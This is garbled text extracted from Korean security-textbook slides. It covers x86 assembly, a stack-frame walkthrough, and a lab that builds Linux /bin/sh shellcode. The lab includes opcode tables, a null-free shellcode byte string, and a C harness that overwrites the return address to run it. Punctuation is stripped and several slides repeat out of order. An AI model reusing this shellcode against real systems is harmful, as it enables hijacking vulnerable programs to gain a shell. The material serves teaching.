셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 49: 80×86  시스템에 대한 이해

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

